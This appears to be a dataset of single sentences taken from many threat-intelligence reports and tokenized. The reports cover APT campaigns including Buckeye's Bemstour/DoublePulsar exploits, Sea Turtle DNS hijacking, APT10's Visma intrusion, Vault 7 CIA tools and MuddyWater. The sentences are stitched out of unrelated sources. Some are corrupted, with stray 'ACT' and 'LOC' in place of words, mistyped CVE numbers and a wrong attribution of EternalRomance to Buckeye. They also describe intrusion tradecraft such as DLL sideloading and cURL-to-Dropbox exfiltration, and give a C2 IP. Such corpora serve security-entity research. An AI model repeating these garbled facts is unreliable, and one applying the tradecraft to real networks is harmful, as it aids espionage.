 DoublePulsar was delivered to victims using a custom exploit tool (Trojan.Bemstour) that was specifically designed to install DoublePulsar .
 One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec .
 Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability ( CVE-2017-0143 ) was patched in March 2017 after it was discovered to have been used by two exploit tools EternalRomance and EternalSynergy that were also released as part of the Shadow Brokers leak .
It was reported by Symantec to Microsoft in September 2018 and was patched on March 12 , 2019 .
 How Buckeye obtained Equation Group tools at least a year prior to the Shadow Brokers leak remains unknown .
The Buckeye attack group had been active since at least 2009 , when it began mounting a string of espionage attacks , mainly against organizations based in the U.S .
These include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
 Beginning in August 2016 , a group calling itself the Shadow Brokers began releasing tools it claimed to have originated from the Equation Group .
 Over the coming months , it progressively released more tools , until April 2017 , when it released a final , large cache of tools , including the DoublePulsar backdoor , the FuzzBunch framework , and the EternalBlue , EternalSynergy , and EternalRomance exploit tools .
 However , Buckeye had already been using some of these leaked tools at least a year beforehand .
 The earliest known use of Equation Group tools by Buckeye is March 31 , 2016 , during an attack on a target in Hong Kong .
 Beginning in March 2016 , Buckeye began using a variant of DoublePulsar (Backdoor.Doublepulsar) , a backdoor that was subsequently released by the Shadow Brokers in 2017 .
 However , while activity involving known Buckeye tools ceased in mid-2017 , the Bemstour exploit tool and the DoublePulsar variant used by Buckeye continued to be used until at least September 2018 in conjunction with different malware .
 During this attack , the Bemstour exploit tool was delivered to victims via known Buckeye malware (Backdoor.Pirpi) .
 One hour later , Bemstour was used against an educational institution in Belgium .
 Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
 DoublePulsar is then used to inject a secondary payload , which runs in memory only .
 A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016 , when it was used in an attack against an educational institution in Hong Kong .
 When used against 32-bit targets , Bemstour still delivered the same DoublePulsar backdoor .
 Bemstour was used again in June 2017 in an attack against an organization in Luxembourg .
 Between June and September 2017 , Bemstour was also used against targets in the Philippines and Vietnam .
 Development of Bemstour has continued into 2019 .
 Unlike earlier attacks when Bemstour was delivered using Buckeye's Pirpi backdoor , in this attack Bemstour was delivered to the victim by a different backdoor Trojan (Backdoor.Filensfer) .
 The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23 , 2019 , eleven days after the zero-day vulnerability was patched by Microsoft .
 Filensfer is a family of malware that has been used in targeted attacks since at least 2013 .
 The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the ACT the Windows SMB Server handles certain requests .
 While Symantec has never observed the use of Filensfer alongside any known Buckeye tools , information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi) .
 CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
 Buckeye's exploit tool , EternalRomance , as well as EternalSynergy , can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers .
 In the case of the Buckeye exploit tool , the attackers exploited their own zero-day vulnerability (CVE-2019-0703) .
 It is noteworthy that the attackers never used the FuzzBunch framework in its attacks .
 FuzzBunch is a framework designed to manage DoublePulsar and other Equation Group tools and was leaked by the Shadow Brokers in 2017 .
 There are multiple possibilities as to how Buckeye obtained Equation Group tools before the Shadow Brokers leak .
 However , aside from the continued use of the tools , Symantec has found no other evidence suggesting Buckeye has retooled .
 this RTF exploits again the CVE-2017-1882 on eqnedt32.exe .
 And the dropper execute the iassvcs.exe to make a side loading and make the persistence .
 This IP is very interesting because it connects with tele.zyns.com and old infrastructures used by chinese APT or DDOS Chinese team against the ancient soviet republics .
 Over the past three years , Filensfer has been deployed against organizations in Luxembourg , Sweden , Italy , the UK , and the U.S .
 All zero-day exploits known , or suspected , to have been used by this group are for vulnerabilities in Internet Explorer and Flash .
 According to reports , the Philippines is the most exposed country in ASEAN to the cyberattacks known as advanced persistent threats , or APTs .
 Our analysis of this malware shows that it belongs to Hussarini , also known as Sarhust , a backdoor family that has been used actively in APT attacks targeting countries in the ASEAN region since 2014 .
 OutExtra.exe is a signed legitimate application from Microsoft named finder.exe .
 In addition to file-based protection , customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Buckeye , which detail methods of detecting and thwarting activities of this group .
 However , in this attack , this file is used to load the Hussarini backdoor via DLL hijacking .
 Today , this malware is still actively being used against the Philippines .
 Hussarini was first mentioned in APT campaigns targeting the Philippines and Thailand in 2014 .
 Further analysis showed that the Iron cybercrime group used two main functions from HackingTeam's source in both IronStealer and Iron ransomware .
 Xagent” is the original filename Xagent.exe whereas seems to be the version of the worm .
 Xagent – A variant of JbossMiner Mining Worm” – a worm written in Python and compiled using PyInstaller for both Windows and Linux platforms .
 Its activities were traced back to 2010 in FireEye's 2013 report on operation Ke3chang – a cyberespionage campaign directed at diplomatic organizations in Europe .
 We have been tracking the malicious activities related to this threat actor and discovered a previously undocumented malware family with strong links to the Ke3chang group – a backdoor we named Okrum .
 Furthermore , from 2015 to 2019 , we detected new versions of known malware families attributed to the Ke3chang group – BS2005 backdoors from operation Ke3chang and the RoyalDNS malware , reported by NCC Group in 2018 .
 Ke3chang behind the attacks seemed to have a particular interest in Slovakia , where a big portion of the discovered malware samples was detected; Croatia , the Czech Republic and other countries were also affected .
 Our technical analysis of the malware used in these attacks showed close ties to BS2005 backdoors from operation Ke3chang , and to a related TidePool malware family discovered by Palo Alto Networks in 2016 that targeted Indian embassies across the globe .
 The story continued in late 2016 , when we discovered a new , previously unknown backdoor that we named Okrum .
 The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors .
 We started connecting the dots when we discovered that the Okrum backdoor was used to drop a Ketrican backdoor , freshly compiled in 2017 .
 In 2017 , the same entities that were affected by the Okrum malware and by the 2015 Ketrican backdoors again became targets of the malicious actors .
 This time , the attackers used new versions of the RoyalDNS malware and a Ketrican 2017 backdoor .
 According to ESET telemetry , Okrum was first detected in December 2016 , and targeted diplomatic missions in Slovakia , Belgium , Chile , Guatemala and Brazil throughout 2017 .
 In addition to file-based protection , customers of the DeepSight has received reports on Buckeye , which detail methods of detecting and thwarting activities of this group .
 In 2018 , we discovered a new version of the Ketrican backdoor that featured some code improvements .
 According to our telemetry , Okrum was used to target diplomatic missions in Slovakia , Belgium , Chile , Guatemala , and Brazil , with the attackers showing a particular interest in Slovakia .
 Indeed , we have detected various external tools being abused by Okrum , such as a keylogger , tools for dumping passwords , or enumerating network sessions .
 The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
 The unnamed company makes products used in the military and aerospace industries , and the hackers could have been after commercial secrets or more traditional espionage , according to ClearSky , the cybersecurity firm that exposed the operation .
 North Korean dictator Kim Jong Un has set ambitious economic goals , and some cybersecurity analysts have predicted he will unleash the Pyongyang-affiliated hackers to meet those deadlines by targeting multinational companies’ trade secrets .
 According to ClearSky , the suspected Lazarus operatives looked to leverage a vulnerability in outdated WinRAR file-archiving software that hackers have been exploiting since it was disclosed last month .
 This new Lotus Blossom campaign delivers a malicious RTF document posing as an ASEAN Defence Minister's Meeting (ADMM) directory (decoy) that also carries an executable (payload) embedded as an OLE object , the Elise backdoor .
 Just months after the APT32 watering hole activity against ASEAN-related websites was observed in Fall 2017 , this new activity clearly indicates the association (ASEAN) clearly remains a priority collection target in the region .
 Researchers implicated Lazarus Group because of digital clues including a malicious implant known as Rising Sun that has been attributed to the group .
 The attackers originally embedded an implant into the malicious document as a hypertext application (HTA) file , and then quickly moved to hide it in an image on a remote server and used obfuscated Visual Basic macros to launch the decoder script .
 Lazarus used the open-source tool Invoke-PSImage , released December 20 , to embed the PowerShell script into the image file .
 Once the script runs , it passes the decoded script from the image file to the Windows command line in a variable $x , which uses cmd.exe to execute the obfuscated script and run it via PowerShell .
 The Department of Homeland Security (DHS) issued an alert about this activity on Jan. 24 2019 , warning that an attacker could redirect user traffic and obtain valid encryption certificates for an organization's domain names .
 In the Sea Turtle campaign , Talos was able to identify two distinct groups of victims .
 The first group , we identify as primary victims , includes national security organizations , ministries of foreign affairs , and prominent energy organizations .
 The threat actors behind the Sea Turtle campaign show clear signs of being highly capable and brazen in their endeavors .
 In most cases , threat actors typically stop or slow down their activities once their campaigns are publicly revealed .
 The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
 If an attacker was able to compromise an organization's network administrator credentials , the attacker would be able to change that particular organization's DNS records at will .
 If the attackers were able to obtain one of these EPP keys , they would be able to modify any DNS records that were managed by that particular registrar .
 Captured legitimate user credentials when users interacted with these actor - controlled servers .
 The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
 As of early 2019 , the only evidence of the spear-phishing threat vector came from a compromised organization's public disclosure .
 On January 4 , Packet Clearing House , which is not an Internet exchange point but rather is an NGO which provides support to Internet exchange points and the core of the domain name system , provided confirmation of this aspect of the actors’ tactics when it publicly revealed its internal DNS had been briefly hijacked as a consequence of the compromise at its domain registrar .
 During a typical incident , the actor would modify the NS records for the targeted organization , pointing users to a malicious DNS server that provided actor-controlled responses to all DNS queries .
 The next step for the actor was to build MitM servers that impersonated legitimate services to capture user credentials .
 In addition to the MitM server IP addresses published in previous reports , Talos identified 16 additional servers leveraged by the actor during the observed attacks .
 The attackers would then use the certificate on actor-controlled servers to perform additional MitM operations to harvest additional credentials .
 In some cases , the victims were redirected to these actor-controlled servers displaying the stolen certificate .
 One notable aspect of the campaign was the actors' ability to impersonate VPN applications , such as Cisco Adaptive Security Appliance (ASA) products , to perform MitM attacks .
 At this time , we do not believe that the attackers found a new ASA exploit .
 Rather , they likely abused the trust relationship associated with the ASA's SSL certificate to harvest VPN credentials to gain remote access to the victim's network .
 As an example , DNS records indicate that a targeted domain resolved to an actor-controlled MitM server .
 In another case , the attackers were able to compromise NetNod , a non-profit , independent internet infrastructure organization based in Sweden .
 Using this access , the threat actors were able to manipulate the DNS records for sa1[.]dnsnode[.]net .
 This redirection allowed the attackers to harvest credentials of administrators who manage domains with the TLD of Saudi Arabia (.sa) .
 In one of the more recent campaigns on March 27 , 2019 , the threat actors targeted the Sweden-based consulting firm Cafax .
 We assess with high confidence that Sea Turtle was targeted in an attempt to re-establish access to the NetNod network , which was previously compromised by this threat actor .
 Obtaining access to this ccTLD registrars would have allowed attackers to hijack any domain that used those ccTLDs .
 These actors perform DNS hijacking through the use of actor-controlled name servers .
 Sea Turtle have been more aggressive in their pursuit targeting DNS registries and a number of registrars , including those that manage ccTLDs .
 These actors use Let's Encrypts , Comodo , Sectigo , and self-signed certificates in their MitM servers to gain the initial round of credentials .
 These actors have been more aggressive in their pursuit targeting DNS registries and a number of registrars , including those that manage ccTLDs .
 Once they have access to the network , they steal the organization's legitimate SSL certificate and use it on actor-controlled servers .
 we believe that the Sea Turtle campaign continues to be highly successful for several reasons .
 Had more ccTLDs implemented security features such as registrar locks , attackers would be unable to redirect the targeted domains .
 The attackers stole organizations' SSL certificates associated with security appliances such as ASA to obtain VPN credentials , allowing the actors to gain access to the targeted network .
 The threat actors were able to maintain long term persistent access to many of these networks by utilizing compromised credentials .
 Cisco Talos will continue to monitor Sea Turtle and work with our partners to understand the threat as it continues to evolve to ensure that our customers remain protected and the public is informed .
 If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
 Create a link file in the startup folder for AutoHotkeyU32.exe , allowing the attack to persist even after a system restart .
 More importantly , one of these files also enables the download of TeamViewer , a remote access tool that gives threat actors remote control over the system .
 Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources .
 The agency's hacking division freed it from having to disclose its often controversial operations to the NSA (its primary bureaucratic rival) in order to draw on the NSA's hacking capacities .
 By the end of 2016 , the CIA's hacking division , which formally falls under the agency's Center for Cyber Intelligence (CCI) , had over 5000 registered users and had produced more than a thousand hacking systems , trojans , viruses , and other weaponized malware .
 Such is the scale of the CIA's undertaking that by 2016 , its hackers had utilized more code than that used to run Facebook .
 Wikileaks has carefully reviewed the Year Zero disclosure and published substantive CIA documentation while avoiding the distribution of 'armed' cyberweapons until a consensus emerges on the technical and political nature of the CIA's program and how such 'weapons' should analyzed , disarmed and published .
 These redactions include ten of thousands of CIA targets and attack machines throughout Latin America , Europe and the United States .
 The increasing sophistication of surveillance techniques has drawn comparisons with George Orwell's 1984 , but Weeping Angel , developed by the CIA's Embedded Devices Branch (EDB) , which infests smart TVs , transforming them into covert microphones , is surely its most emblematic realization .
 After infestation , Weeping Angel places the target TV in a 'Fake-Off' mode , so that the owner falsely believes the TV is off when it is on .
 As of October 2014 the CIA was also looking at infecting the vehicle control systems used by modern cars and trucks .
 The CIA's Mobile Devices Branch (MDB) developed numerous attacks to remotely hack and control popular smart phones .
 Despite iPhone's minority share (14.5%) of the global smart phone market in 2016 , a specialized unit in the CIA's Mobile Development Branch produces malware to infest , control and exfiltrate data from iPhones and other Apple products running iOS , such as iPads .
 The attack against Samsung smart TVs was developed in cooperation with the United Kingdom's MI5/BTSS .
 CIA's arsenal includes numerous local and remote zero days developed by CIA or obtained from GCHQ , NSA , FBI or purchased from cyber arms contractors such as Baitshop .
 These techniques permit the CIA to bypass the encryption of WhatsApp , Signal , Telegram , Wiebo , Confide and Cloackman by hacking the smart phones that they run on and collecting audio and message traffic before encryption is applied .
 The CIA also runs a very substantial effort to infect and control Microsoft Windows users with its malware .
 CIA's malware includes multiple local and remote weaponized zero days , air gap jumping viruses such as Hammer Drill which infects software distributed on CD/DVDs , infectors for removable media such as USBs , systems to hide data in images or in covert disk LOCs Brutal Kangaroo and to keep its malware infestations going .
 Many of these infection efforts are pulled together by the CIA's Automated Implant Branch (AIB) , which has developed several attack systems for automated infestation and control of CIA malware , such as Assassin and Medusa .
 The CIA has developed automated multi-platform malware attack and control systems covering Windows , Mac OS X , Solaris , Linux and more , such as EDB's HIVE and the related Cutthroat and Swindle tools , which are described in the examples section below .
 By hiding these security flaws from manufacturers like Apple and Google the CIA ensures that it can hack everyone &mdsh; at the expense of leaving everyone hackable .
 Once in Frankfurt CIA hackers can travel without further border checks to the 25 European countries that are part of the Shengen open border LOC — including France , Italy and Switzerland .
 A number of the CIA's electronic attack methods are designed for physical proximity .
 The attacker is provided with a USB containing malware developed for the CIA for this purpose , which is inserted into the targeted computer .
 The attacker then infects and exfiltrates data to removable media .
 As an example , specific CIA malware revealed in Year Zero is able to penetrate , infest and control both the Android phone and iPhone software that runs or has run presidential Twitter accounts .
 For example , the CIA attack system Fine Dining , provides 24 decoy applications for CIA spies to use .
 For example , Comodo was defeated by CIA malware placing itself in the Window's Recycle Bin .
 CIA hackers discussed what the NSA's Equation Group hackers did wrong and how the CIA's malware makers could avoid similar exposure .
 The CIA's Remote Devices Branch's UMBRAGE group collects and maintains a substantial library of attack techniques 'stolen' from malware produced in other states including the Russian Federation .
 This information is used by the CIA's 'JQJIMPROVISE' software (see below) to configure a set of CIA malware suited to the specific needs of an operation .
 Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
 HIVE is a multi-platform CIA malware suite and its associated control software .
 A series of standards lay out CIA malware infestation patterns which are likely to assist forensic crime scene investigators as well as Apple , Microsoft , Google , Samsung , Nokia , Blackberry , Siemens and anti-virus companies attribute and defend against attacks .
 In April 2013 , Kaspersky Lab reported that a popular game was altered to include a backdoor in 2011 .
 Yet again , new supply-chain attacks recently caught the attention of ESET Researchers .
 Given that these attacks were mostly targeted against Asia and the gaming industry , it shouldn’t be surprising they are the work of the group described in Kaspersky’s Winnti – More than just a game” .
 The OSB functions as the interface between CIA operational staff and the relevant technical support staff .
 A sustained cyberespionage campaign targeting at least three companies in the United States and Europe was uncovered by Recorded Future and Rapid7 between November 2017 and September 2018 .
 The Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
 The attackers then enumerated access and conducted privilege escalation on the victim networks , utilizing DLL sideloading techniques documented in a US-CERT alert on APT10 to deliver malware .
 On the two other victim networks , the attackers deployed a unique version of the UPPERCUT (ANEL) backdoor , known to have only been used by APT10 .
 APT10 actors then compressed proprietary data from Visma using WinRAR (deployed by the attackers) and exfiltrated to a Dropbox account using the cURL for Windows command-line tool .
 UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
 we assess with high confidence that these incidents were conducted by APT10 also known as Stone Panda , menuPass , CVNX in an effort to gain access to networks and steal valuable intellectual property or gain commercial advantage .
 On top of the breadth , volume , and targets of attacks that APT10 has conducted since at least 2016 , we now know that these operations are being run by the Chinese intelligence agency , the Ministry of State Security (MSS) .
 Utilizing actors working for shell companies such as Huaying Haitai Science and Technology Development Co Ltd , the MSS has conducted an unprecedented campaign , dubbed Operation Cloud Hopper , ” against managed IT service providers (MSPs) designed to steal intellectual property and enable secondary attacks against their clients .
 We assess that APT10 likely compromised Visma with the primary goal of enabling secondary intrusions onto their client networks , and not of stealing Visma intellectual property .
 In this same time frame , APT10 also targeted a U.S. law firm and an international apparel company , likely to gather information for commercial advantage .
 The backdoor was deployed using the Notepad++ updater and sideloading malicious DLL , as noted in APT10’s targeting of Japanese corporations in July 2018 .
 That attack was attributed to perpetrators Kaspersky called the Winnti Group .
 APT10 is a threat actor that has been active since at least 2009 .
 APT10 has historically targeted healthcare , defense , aerospace , government , heavy industry and mining , and MSPs and IT services , as well as other sectors , for probable intellectual property theft .
 We believe APT10 is the most significant Chinese state-sponsored cyber threat to global corporations known to date .
 In the blog , Intrusion Truth identified APT10 as having utilized several Tianjin-based companies , including Huaying Haitai Science and Technology Development Co. Ltd. and Laoying Baichen Instruments Equipment Co. Ltd .
 Based on the technical data uncovered , and in light of recent disclosures by the U.S. Department of Justice on the ongoing activities of Chinese state-sponsored threat actors .
 Our research from 2017 concluded that Guangdong ITSEC (and therefore the MSS) directed the activities of a company named Boyusec , which was identified as a shell company for APT3 .
 Access to the networks of these third-party service providers grants the MSS the ability to potentially access the networks of hundreds , if not thousands , of corporations around the world .
 The December APT10 indictment noted that the group’s malicious activities breached at least 45 companies and managed service providers in 12 countries , including Brazil , Canada , Finland , France , Germany , India , Japan , Sweden , Switzerland , the United Arab Emirates , the United Kingdom , and the United States .
 In all three incidents , APT10 gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
 In all three incidents , the attackers gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
 In all three incidents , APT10 actors used previously acquired legitimate credentials , possibly gained via a third-party supply chain compromise in order to gain initial access to the law firm and the apparel company .
 In early 2017 , APT10 began conducting attacks against global managed IT service providers (MSPs) that granted them unprecedented access to MSPs and their customers’ networks .
 'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/Exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS ( JukeBox ) and Linux ( DanceFloor ) .
 .
 During this operation (dubbed ‘Cloud Hopper” because of the group’s use of popular western cloud-based services) , APT10 utilized both new malware (Quasar RAT , Trochilus , RedLeaves , ChChes as well as some familiar old tools .
 Most recently , on December 20 , 2018 , the U.S. Department of Justice charged two hackers associated with the Chinese Ministry of State Security (MSS) with global computer intrusion campaigns targeting intellectual property .
 This indictment attributed the intrusions to APT10 , a group that had been conducting the malicious activities for over a decade on behalf of the MSS , China’s civilian human intelligence agency .
 The Visma group operates across the entire Nordic region along with Benelux , Central , and Eastern Europe .
 Recorded Future has actively tracked APT10 for several years , focusing specifically on the group’s targeting of MSPs and global internet infrastructure providers since the Operation Cloud Hopper report in 2017 .
 We were particularly interested in identifying whether any customers of the targeted MSPs were subsequently compromised by APT10 , given their potential access through compromised MSP networks .
 Recorded Future’s Insikt Group has actively tracked APT10 for several years , focusing specifically on the group’s targeting of MSPs and global internet infrastructure providers since the Operation Cloud Hopper report in 2017 .
 In September 2018 , one of our clients (and a supplier as well) , Visma , reached out to us for assistance in investigating an incident uncovered on their network following a breach notification by Rapid7 .
 This was followed by an initial exploitation , network enumeration , and malicious tool deployment on various Visma endpoints within two weeks of initial access .
 On August 30 , 2018 , APT10 deployed their first modified version of Trochilus that had its C2 communications encrypted using Salsa20 and RC4 ciphers instead of the more common RC4-encrypted Trochilus variant seen in the wild .
 This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
 The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
 APT10 also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
 In order to exfiltrate the compromised data , APT10 employed custom malware that used Dropbox as its C2 .
 They also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
 Our research partner Rapid7 investigated the Dropbox use and found that the attackers had used the same account to store exfiltrated data from a global apparel company .
 They also identified broadly similar TTPs being used in the attack against a U.S. law firm specializing in intellectual property law .
 Rapid7’s investigation revealed the law firm was first targeted in late 2017 , followed by the apparel company a few months later , and finally , the Visma attack in August 2018 .
 In one of the attacks , Rapid7 identified the attackers escaping a Citrix application in order to run the payload script on the victim desktop .
 Additionally , the same DLL sideloading technique observed in the Visma attack was used , and many of the tools deployed by the APT10 shared naming similarities as well 1.bat , cu.exe , ss.rar , r.exe , pd.exe .
 Most interestingly , Rapid7 observed the use of the Notepad++ updater gup.exe as a legitimate executable to sideload a malicious DLL (libcurl.dll) in order to deploy a variant of the UPPERCUT backdoor also known as ANEL .
 APT10 used this approach to deploy UPPERCUT when targeting Japanese corporations in July 2018 .
 APT10 actors gained initial access to the Visma network around August 17 , 2018 .
 While we are confident that APT10 actors gained access to the Visma network in August using stolen employee Citrix remote desktop credentials , it is not clear how or when these credentials were initially compromised .
 Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
 After almost two weeks , on August 30 , 2018 , APT10 attackers used their access to the network to move laterally and made their first deployment of an RC4- and Salsa20-encrypted variant of the Trochilus malware using a previously associated DLL sideloading techniquE .
 This means that APT10 actors had two separate access points into the Visma network .
 This slight delay may point to the handing over of active exploitation duties to other operator(s) in a multi-team APT10 effort within the Ministry of State Security for the attack .
 Other examples of malicious infrastructure registered with internet.bs include domains for APT28’s VPNFilter malware campaign and the registration of the cyber-berkut .
 org domain that was affiliated with the pro-Russian and potentially Russian state-linked threat actor CyberBerkut .
 KHRAT is a backdoor trojan purported to be used with the China-linked cyberespionage group DragonOK .
 In early 2018 , Rapid7 identified that APT10 compromised an apparel company , based upon detections and intelligence gathered from the U.S.-based law firm breach .
 The attacker gained access to the victim’s internet-accessible Citrix systems and authenticated to them from networks associated with low-cost VPN providers owned by VPN Consumer Network .
 Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe.” The attackers used identical TTPs for executing malware and Mimikatz as observed before , by using DLL sideloading with known good binaries that had DLL search order path issues .
 Rapid7 reviewed malware discovered in the victim’s environment and found implants that used Dropbox as the C2 .
 The attackers used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
 APT10 used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
 For Exfiltration of stolen data , APT10 used WinRAR and renamed rar.exe” to r.exe” to create archives , upload them with curl.exe” (renamed to c.exe”) , and again , use the cloud storage provider Dropbox .
 Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the attacker during the compromise and was able to attribute data that was placed into it as being owned by Visma .
 Once on the Visma network , APT10 attackers used the Microsoft BITSAdmin CLI tool to copy malicious tools from a suspected attacker-controlled C2 hosted on 173.254.236[.]158 to the \ProgramData\temp\ directory on the infected host .
 Rapid7 then provided a breach notification to Visma to alert them to this compromise in September 2018 .
 We believe APT10 is the most significant known Chinese state-sponsored cyber threat to global corporations .
 APT10's unprecedented campaign against MSPs , alleged to have included some of the largest MSPs in the world , in order to conduct secondary attacks against their clients , grants the Chinese state the ability to potentially access the networks of hundreds (if not thousands) of corporations around the world .
 This campaign brings to light further evidence supporting the assertions made by the Five Eyes nations , led by the U.S. Department of Justice indictment against APT10 actors outlining the unprecedented scale of economic cyberespionage being conducted by the Chinese Ministry of State Security .
 This report , alongside the plethora of other reporting on APT10 operations , acutely highlights the vulnerability of organizational supply chains .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report , however , the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
 After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft ’s Equation Editor ( EQNEDT32 ) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
 The earliest use of the exploit ITW we were able to identify and confirm is a sample e228045ef57fb8cc1226b62ada7eee9b dating back to October 2018 ( VirusTotal submission of 2018-10-29 ) with the RTF creation time 2018-10-23 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
 As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese Cyber Espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
 Upon decrypting and executing , it drops two additional files wsc_proxy.exe” (legitimate Avast executable) and a malicious DLL wsc.dll” in the %TEMP% folder .
 However , Beginning on 25 June 2019 , we started observing multiple commodity campaigns Mostly dropping AsyncRAT using the updated RTF weaponizer with the same exploit ( CVE-2018-0798 ) .
 Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
 These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
 In addition , a current ANY.RUN playback of our observed Elise infection is also available .
 Upon opening of the MS Word document , our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
 Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
 Most recently though , a new campaign , targeting Belarus , Turkey and Ukraine , has emerged that caught the attention of Check Point researchers .
 The well-crafted and socially engineered malicious documents then become the first stage of a long and mainly fileless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group .
 This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
 If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” .
 INF files have been used in the past by MuddyWater , although they were launched using Advpack.dll and not IEAdvpack.dll .
 In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
 Although it has focused most of its efforts on the Middle East region , the political affiliations , motives and purposes behind MuddyWater’s attacks are not very well- defined , thus earning it its name .
 In the past , countries such as Saudi Arabia , the UAE and Turkey have been a MuddyWater's main target , but the campaigns have also reached a much wider audience , making their ACT to victims in countries such as Belarus and Ukraine .
 MuddyWater target groups across Middle East and Central Asia , primarily using spear phishing emails with malicious attachments .
 Most recently MuddyWater were connected to a campaign in March that targeted organizations in Turkey , Pakistan , and Tajikistan .
 The group has been quite visible since the initial 2017 Malwarebytes report on their elaborate espionage attack against the Saudi Arabian government .
 Our analysis revealed that they drop a new backdoor , which is written in PowerShell as MuddyWater’s known POWERSTATS backdoor .
 We assume that RunPow stands for run PowerShell , ” and triggers the PowerShell code embedded inside the .dll file .
 This backdoor has some features similar to a previously discovered version of the Muddywater backdoor .
 Based on our analysis , we can confirm that MuddyWater target Turkish government organizations related to the finance and energy sectors .
 This is yet another similarity with previous MuddyWater campaigns , which were known to have targeted multiple Turkish government entities .
 The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents .
 Trend Micro™ Deep Discovery™ provides detection , in-depth analysis , and proactive response to today’s stealthy malware , and targeted attacks in real time .
 MuddyWater first surfaced in 2017 .
 First stage infections and graphical decoys have been described by multiple sources , including in our previous research MuddyWater expands operations .
 MuddyWater compiles various offensive Python scripts .
 This includes Python scripts .
 Usually , the Stageless Meterpreter has the Ext_server_stdapi.x64.dll” , Ext_server_extapi.x64.dll” , and Ext_server_espia.x64.dll” extensions .
 The January 2017 report followed up on other private reports published on the group’s BeEF-related activity in 2015 and 2016 .
 Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian and Western targets , and lacks advanced offensive technology development capabilities .
 However , in the summer of 2016 , NewsBeef deployed a new toolset that includes macro-enabled Office documents , PowerSploit , and the Pupy backdoor .
 The most recent NewsBeef campaign uses this toolset in conjunction with spearphishing emails , links sent over social media/standalone private messaging applications , and watering hole attacks that leverage compromised high-profile websites some belonging to the SA government .
 The NewsBeef actor deployed a new toolset in a campaign that focused primarily on Saudi Arabian targets .
 NewsBeef continues to deploy malicious macro-enabled Office documents , poisoned legitimate Flash and Chrome installers , PowerSploit , and Pupy tools .
 The NewsBeef campaign is divided into two main attack vectors , spearphishing and strategic web compromise watering hole attacks .
 On December 25 , 2016 , the NewsBeef APT stood up a server to host a new set of Microsoft Office documents (maintaining malicious macros and PowerShell scripts) to support its spear-phishing operations .
